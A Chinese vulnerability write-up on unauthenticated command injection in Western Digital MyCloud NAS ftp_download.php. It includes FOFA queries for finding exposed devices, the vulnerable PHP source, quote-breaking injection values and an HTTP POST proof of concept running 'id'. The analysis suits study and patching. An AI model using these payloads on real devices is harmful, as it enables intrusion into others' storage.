漏洞简介
Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS ftp_download.php中存在命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。
影响版本
<=2.11.153(老版本,已发布修复补丁)
fofa语法
icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"
body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "
漏洞分析
直接看 ftp_download.php 其业务实现逻辑如下
<?php
//session_start();
//$r = new stdClass();
//$r->success = false;
//
//include ("../lib/login_checker.php");
//
///* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
//if (login_check() == 0)
//{
// echo json_encode($r);
// exit;
//}
define('FTP_DOWNLOAD_CONF', '/var/www/xml/ftp_download.xml');
$action = $_POST['action'];
if ($action == "")
$action = $_GET['action'];
function get_list()
{
$r = new stdClass();
$i = 0;
if (file_exists(FTP_DOWNLOAD_CONF))
{
$xml = simplexml_load_file(FTP_DOWNLOAD_CONF);
foreach ($xml->ftp_download->item as $item) {
$pname = sprintf("/tmp/r_%s!_ftpdl", (string)$item->task_name);
$bar_percent = "";
$bar_running_sour = "";
$bar_speed = "";
if (file_exists($pname))
{
$_backup_info = file_get_contents($pname);
$_backup_info_arr = explode("\n", $_backup_info);
$bar_percent = $_backup_info_arr[0];
if (count($_backup_info_arr) == 4)
{
$bar_running_sour = $_backup_info_arr[1];
$bar_speed = $_backup_info_arr[2];
}
else if (count($_backup_info_arr) == 3)
{
$bar_running_sour = $_backup_info_arr[1];
}
else
{
$bar_running_sour = "";
}
//$bar_running_sour = rtrim($_backup_info_arr[1], "/");
if ((string)$item->status == "0" && $bar_percent == "100") @unlink($pname);
}
if ((string)$item->status == "0") $bar_percent = "100";
//Source dir
$sour_list = array();
foreach ($item->sour as $sitem)
$sour_list[] = (string)$sitem;
//Incremental List
$incremental_list = array();
if ((string)$item->backup_mode == "3") //Incremental mode
{
/*Get Backup list */
$list_xml_file = sprintf("/tmp/r_%s!_ftpdl_imcremental.xml", (string)$item->task_name);
$cmd = sprintf("ftp_download -a '%s' -o '%s' -c jobrs_list", (string)$item->task_name, $list_xml_file);
pclose(popen($cmd, 'r'));
if (file_exists($list_xml_file))
{
$list_xml = simplexml_load_file($list_xml_file);
foreach ($list_xml->backup as $im_item)
$incremental_list[] = array((string)$im_item->task_name, (string)$im_item->time);
@unlink($list_xml_file);
}
}
$r->rows[] = array(
'id' => $i,
'cell' => array(
/* 0 */ (string)$item->task_name,
/* 1 */ '',
/* 2 */ $sour_list,
/* 3 */ $percent_list,
/* 4 */ (string)$item->dest,
/* 5 */ (string)$item->status,
/* 6 */ (string)$item->backup_direction,
/* 7 */ (string)$item->backup_mode,
/* 8 */ '', //Action: Start/Stop, Edit, Del, Detail
/* 9 */(string)$item->finished_time,
/* 10 */(string)$item->status,
/* 11 */$bar_percent,
/* 12 */$bar_running_sour,
/* 13 */$incremental_list,
/* 14 */(string)$item->update_routine,
/* 15 */(string)$item->week_day,
/* 16 */(string)$item->hour,
/* 17 */(string)$item->host,
/* 18 */(string)$item->host_user,
/* 19 */(string)$item->host_passwd,
/* 20 */(string)$item->lang,
/* 21 */$bar_speed,
)
);
$i++;
}
}
$r->page = 1;
$r->total = $i;
return $r;
}
function stop_job($taskname)
{
//Stop job
$cmd = sprintf("ftp_download -a '%s' -c jobstop >/dev/null 2>&1", $taskname);
pclose(popen($cmd, 'r'));
sleep(2);
$pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
file_put_contents($pname, "-10"); //Cancel
}
$r = new stdClass();
switch ($action)
{
case "create":
{
$taskname = $_POST['taskname'];
$source_dir = $_POST['source_dir'];
$dest_dir = $_POST['dest_dir'];
$schedule = $_POST['schedule'];
$schedule_type = $_POST['backup_sch_type'];
$hour = $_POST['hour'];
$week = $_POST['week'];
$day = $_POST['day'];
$host = $_POST['host'];
$user = $_POST['user'];
$pwd = $_POST['pwd'];
$lang = $_POST['lang'];
$sch_command = "";
if ($schedule == "0")$sch_command = "0,1,1";
else if ($schedule_type == "3")$sch_command = "3,1,".$hour; //daily
else if ($schedule_type == "2")$sch_command = "2,".$week.",".$hour; //weekly
else if ($schedule_type == "1")$sch_command = "1,".$day.",".$hour; //monthly
$cmd = sprintf("ftp_download -a \"%s\" -i \"%s\" -u \"%s\" -p \"%s\" -l \"%s\" -d \"%s\" -r %s -c jobadd",
$taskname, $host, $user, $pwd, $lang, $dest_dir, $sch_command);
foreach ($source_dir as $val)
$cmd .= sprintf(" -s \"%s\"", $val);
$cmd .= " >/dev/null 2>&1";
system($cmd);
//pclose(popen($cmd, 'r'));
$pname = sprintf("/tmp/r_ftpdl!_%s", $taskname);
@unlink($pname);
stop_job($taskname);
//Start job
//$cmd = sprintf("(ftp_download -a '%s' -c jobrun >/dev/null 2>&1)&", $taskname);
$cmd = sprintf("ftp_download -a '%s' -c jobrun > /dev/null 2>&1 &", $taskname);
system($cmd);
// pclose(popen($cmd, 'r'));
// sleep(2);
$r = get_list();
$r->success = true;
echo json_encode($r);
}
break;
case "modify":
{
$taskname = $_POST['taskname'];
$source_dir = $_POST['source_dir'];
$dest_dir = $_POST['dest_dir'];
//$backup_type = $_POST['backup_type'];
$old_taskname = $_POST['old_taskname'];
$schedule = $_POST['schedule'];
$schedule_type = $_POST['backup_sch_type'];
$hour = $_POST['hour'];
$week = $_POST['week'];
$day = $_POST['day'];
$host = $_POST['host'];
$user = $_POST['user'];
$pwd = $_POST['pwd'];
$lang = $_POST['lang'];
$sch_command = "";
if ($schedule == "0")$sch_command = "0,1,1";
else if ($schedule_type == "3")$sch_command = "3,1,".$hour; //daily
else if ($schedule_type == "2")$sch_command = "2,".$week.",".$hour; //weekly
else if ($schedule_type == "1")$sch_command = "1,".$day.",".$hour; //monthly
stop_job($taskname);
$cmd = sprintf("ftp_download -a \"%s\" -x \"%s\" -i \"%s\" -u \"%s\" -p \"%s\" -l \"%s\" -d \"%s\" -r %s -c jobedit",
$taskname, $old_taskname, $host, $user, $pwd, $lang, $dest_dir, $sch_command);
foreach ($source_dir as $val)
$cmd .= sprintf(" -s \"%s\"", $val);
$cmd .= " >/dev/null 2>&1";
system($cmd);
//pclose(popen($cmd, 'r'));
//Start job
//$cmdS = sprintf("ftp_download -a '%s' -c jobrun &", $taskname);
$cmdS = sprintf("ftp_download -a '%s' -c jobrun > /dev/null 2>&1 &", $taskname);
system($cmdS);
//pclose(popen($cmdS, 'r'));
sleep(2);
$r = get_list();
$r->cmd = $cmd;
$r->success = true;
echo json_encode($r);
}
break;
case "del":
{
$taskname = $_POST['taskname'];
stop_job($taskname);
$cmd = sprintf("ftp_download -a '%s' -c jobdel >/dev/null 2>&1", $taskname);
system($cmd);
//pclose(popen($cmd, 'r'));
$pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
@unlink($pname);
$r = get_list();
$r->success = true;
echo json_encode($r);
}
break;
case "go_jobs":
{
$taskname = $_POST['taskname'];
$pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
@unlink($pname);
$cmd = sprintf("ftp_download -a '%s' -c jobrun &", $taskname);
pclose(popen($cmd, 'r'));
sleep(2);
$r = get_list();
$r->success = true;
echo json_encode($r);
}
break;
case "stop_jobs":
{
$taskname = $_POST['taskname'];
stop_job($taskname);
$pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
@unlink($pname);
$r = get_list();
$r->success = true;
echo json_encode($r);
}
break;
case "go_restore":
{
$taskname = $_POST['taskname'];
stop_job($taskname);
$pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
file_put_contents($pname, "0"); //Cancel
$list_xml_file = sprintf("/tmp/r_ftpdl!_restore_imcremental_%s.xml", $taskname);
$cmd = sprintf("ftp_download -a '%s' -o '%s' -F %s -c jobrs &", $taskname, $list_xml_file, $_POST['restore_source']);
pclose(popen($cmd, 'r'));
sleep(2);
$r = get_list();
$r->success = true;
echo json_encode($r);
}
break;
case "get_list":
{
$r = get_list();
$r->success = true;
echo json_encode($r);
}
break;
}
?>
多个功能(如创建、修改、删除任务)接收来自用户的 POST 参数,未经过滤或转义便直接使用 sprintf 拼接成操作系统命令,并由 system() 或 pclose(popen()) 函数执行,导致攻击者可以注入任意系统命令并获得远程代码执行能力。
- 用户可控点: 多个
case分支中接收的$_POST参数,主要包括:action=create:taskname,host,user,pwd,dest_dir等action=modify:taskname,old_taskname,host,user,pwd,dest_dir等action=del:tasknameaction=go_restore:taskname,restore_source
- 参数的赋值处理: 以
action=create为例,用户可控的$taskname等变量被直接代入sprintf函数,用于构造命令字符串$cmd。
$taskname = $_POST['taskname'];
// ... other $_POST variables
$cmd = sprintf("ftp_download -a \"%s\" -i \"%s\" -u \"%s\" -p \"%s\" -l \"%s\" -d \"%s\" -r %s -c jobadd",
$taskname, $host, $user, $pwd, $lang, $dest_dir, $sch_command);
- 危险函数调用点: 拼接好的命令字符串
$cmd被直接传递给system()函数执行。
system($cmd);
在其他分支中,也存在 pclose(popen($cmd, 'r')) 的调用,同样会执行命令。
- 代码中虽然对部分参数使用了双引号(
")或单引号(')进行包裹,但这并不能有效阻止命令注入。攻击者可以通过注入命令分隔符(如;,|,&&)来执行附加的恶意命令。- 双引号绕过: 当参数被
"包裹时,可注入";<command>;"。例如,taskname值为mytask";id;"。 - 单引号绕过: 当参数被
'包裹时,可注入a' ; <command> ; '。例如,taskname值为mytask' ; id ; '。 - 无引号: 在
go_restore功能中,$_POST['restore_source']参数未被任何引号包裹,可以直接注入命令。
- 双引号绕过: 当参数被
- 总结: 无任何有效的输入过滤或转义机制,引号保护措施可被轻松绕过。
action = "del" 分支 (单引号包裹,同样可注入):
case "del":
{
$taskname = $_POST['taskname'];
// ...
$cmd = sprintf("ftp_download -a '%s' -c jobdel >/dev/null 2>&1", $taskname);
system($cmd); // <-- 危险函数执行
// ...
}
漏洞复现
POST /web/addons/ftp_download.php HTTP/1.1
Host: west.nas.mrxn.net
Content-Type: application/x-www-form-urlencoded
action=create&taskname=";id;"&host=127.0.0.1&user=test&pwd=test&dest_dir=/tmp&schedule=0&lang=en

成功执行id命令并在响应里回显

